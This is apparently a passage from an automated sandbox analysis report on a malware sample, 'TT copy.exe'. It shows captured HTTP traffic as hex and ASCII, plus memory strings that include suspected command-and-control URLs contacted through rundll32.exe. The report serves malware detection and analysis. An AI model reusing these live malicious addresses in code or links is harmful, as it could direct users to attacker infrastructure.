2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 03 Jun 2022 06:17:09 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 281Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 73 68 6f 70 63 79 63 6c 65 73 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.shopcycles3.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 03 Jun 2022 06:17:26 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeD-Geo: EUContent-Encoding: gzipData Raw: 38 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 3d 8e 41 0a 02 31 0c 45 af 92 13 58 66 1f 72 04 71 eb b2 63 c3 b4 50 9b 92 a4 8a b7 b7 58 c6 ed e7 bf ff 3e 66 7f 56 c2 cc 31 11 7a f1 ca 74 15 07 1b bd 8b 3a 27 0c 2b c4 b0 2a bb a4 0f e1 83 9b b3 4e 6c a3 bb 0c 85 5d e5 6d ac f0 62 b5 22 0d 8a 41 13 a8 d2 8e 19 fe b7 2e 70 ab 1c 8d 61 f4 43 63 62 70 01 cf 0c 35 3a 9b 9f f0 34 6d 84 e1 54 84 65 0c bf 9f 5f bc 2a 38 15 ae 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 8a=A1EXfrqcPX>fV1zt:'+Nl]mb"A.paCcbp5:4mTe_80
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 03 Jun 2022 06:17:26 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeD-Geo: EUContent-Encoding: gzipData Raw: 38 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 3d 8e 41 0a 02 31 0c 45 af 92 13 58 66 1f 72 04 71 eb b2 63 c3 b4 50 9b 92 a4 8a b7 b7 58 c6 ed e7 bf ff 3e 66 7f 56 c2 cc 31 11 7a f1 ca 74 15 07 1b bd 8b 3a 27 0c 2b c4 b0 2a bb a4 0f e1 83 9b b3 4e 6c a3 bb 0c 85 5d e5 6d ac f0 62 b5 22 0d 8a 41 13 a8 d2 8e 19 fe b7 2e 70 ab 1c 8d 61 f4 43 63 62 70 01 cf 0c 35 3a 9b 9f f0 34 6d 84 e1 54 84 65 0c bf 9f 5f bc 2a 38 15 ae 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 8a=A1EXfrqcPX>fV1zt:'+Nl]mb"A.paCcbp5:4mTe_80
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 03 Jun 2022 06:17:26 GMTContent-Type: text/htmlContent-Length: 174Connection: closeD-Geo: EUData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 76 65 72 73 69 6f 6e 20 69 73 20 6e 6f 20 6c 6f 6e 67 65 72 20 73 75 70 70 6f 72 74 65 64 2e 20 50 6c 65 61 73 65 20 75 70 67 72 61 64 65 20 74 6f 20 74 68 65 20 6c 61 74 65 73 74 20 76 65 72 73 69 6f 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Not supported</title></head><body><center><h1>Your browser version is no longer supported. Please upgrade to the latest version</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 03 Jun 2022 06:17:37 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: Apache/2Last-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 03 Jun 2022 06:17:37 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: Apache/2Last-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 03 Jun 2022 06:17:37 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: Apache/2Last-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%;
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 03 Jun 2022 06:19:18 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Sorting-Hat-PodId: 228X-Sorting-Hat-ShopId: 64312672485X-Dc: gcp-europe-west1X-Request-ID: 7cd6fc28-a7e1-4039-9e7f-7134e5189789X-Content-Type-Options: nosniffX-Permitted-Cross-Domain-Policies: noneX-XSS-Protection: 1; mode=blockX-Download-Options: noopenCF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 715650fedfd39bfb-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 31 34 31 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65 72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b 66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 6d 61 69 6e 7b 66 6c 65 78 3a 31 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta

Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fontfabrik.com
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: TT copy.exe, 00000000.00000002.287711390.0000000001090000.00000004.00000020.00020000.00000000.sdmp, TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: TT copy.exe, 00000000.00000002.287711390.0000000001090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comaM
Source: TT copy.exe, 00000000.00000002.287711390.0000000001090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comionmz
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: rundll32.exe, 0000000F.00000002.776637498.0000000005EAB000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.huayugw.com
Source: rundll32.exe, 0000000F.00000002.776637498.0000000005EAB000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.huayugw.com/umat/
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.msn.com/de-ch/ocid=iehp
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.msn.com/ocid=iehp
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sassafrasriver.info/umat/
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sassafrasriver.info/umat/(
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sassafrasriver.info/umat/0
